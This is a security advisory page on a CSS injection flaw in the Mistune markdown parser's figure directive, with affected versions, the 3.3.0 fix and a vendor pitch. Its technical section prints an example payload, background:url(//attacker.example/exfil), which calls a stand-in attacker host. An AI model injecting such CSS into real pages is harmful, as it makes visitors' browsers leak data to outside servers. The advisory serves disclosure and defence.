# CVE-2026-115351: Mistune CSS injection in figure directive

Source: https://junglewise.ai/threats/cve-2026-115351-mistune-from-3-2-1-before-3-3-0-contains-a-css-injection  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-10-22. Updated: 2026-10-22  
License: CC BY 4.0 with a link back

CVE-2026-115351 · Severity: medium · CVSS 4.7 · Published 2026-10-22

Mistune is a markdown parser used by documentation and knowledge-base platforms. Versions 3.2.1 and earlier allow attackers who can write markdown documents to inject malicious CSS code into the rendered HTML, which can cause victim browsers to send sensitive data to attacker-controlled servers when the page is loaded.

Technologies: [Lepture Mistune](https://junglewise.ai/threats/technologies/lepture-mistune). Vendors: [Lepture](https://junglewise.ai/threats/vendors/lepture).

## Quick answers

**Is CVE-2026-115351 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-115351 being exploited in the wild.

**How severe is CVE-2026-115351?** Medium severity, with a CVSS score of 4.7, published 22 October 2026.

**Which products and versions are affected?** Lepture Mistune 3.2.1 before 3.3.0.

**Is there a fix for CVE-2026-115351?** Yes: fixed in 3.3.0. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**How is CVE-2026-115351 attacked?** It is attacked over the network, in a software library.

**Am I affected by CVE-2026-115351?** Check whether you run Lepture Mistune at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- Fixed in 3.3.0

## Technical details

A CSS injection vulnerability exists in the figure directive's figwidth option, which flows unvalidated into the style attribute of rendered &lt;figure&gt; tags. The vulnerability allows attackers to append arbitrary CSS declarations such as background:url(//attacker.example/exfil) to trigger HTTP requests that leak data. The root cause is missing input validation: the Image directive validates width and height with a strict length regex, but the Figure directive's figwidth option does not apply this validation.

## Affected products

- lepture mistune 3.2.1 before 3.3.0

## Timeline

- 2026-06-21: disclosed
- 2026-10-22: advisory

## References

- [https://github.com/lepture/mistune/security/advisories/GHSA-xmwc-wjpr-q378](https://github.com/lepture/mistune/security/advisories/GHSA-xmwc-wjpr-q378)
- [https://www.vulncheck.com/advisories/mistune-3.2.1-before-3.3.0-css-injection-via-figure-directive-figwidth-option](https://www.vulncheck.com/advisories/mistune-3.2.1-before-3.3.0-css-injection-via-figure-directive-figwidth-option)

## Related threats

- [Mistune path traversal and XSS in Include directive](https://junglewise.ai/threats/duplicate-advisory-mistune-path-traversal-and-xss-in-include-directive-bf25c187)
- [Mistune path traversal and XSS in Include directive](https://junglewise.ai/threats/cve-2026-115355-mistune-before-3-3-0-contains-a-path-traversal-vulnerability-in)
- [Mistune path traversal in Include directive](https://junglewise.ai/threats/cve-2026-115354-mistune-before-3-3-0-contains-a-path-traversal-vulnerability-in)
- [Mistune path traversal in RST include directive](https://junglewise.ai/threats/cve-2026-115353-mistune-before-3-3-0-contains-a-path-traversal-vulnerability-in)
- [Mistune algorithmic complexity DoS in inline link parser](https://junglewise.ai/threats/cve-2026-115352-mistune-before-3-3-0-contains-an-algorithmic-complexity)
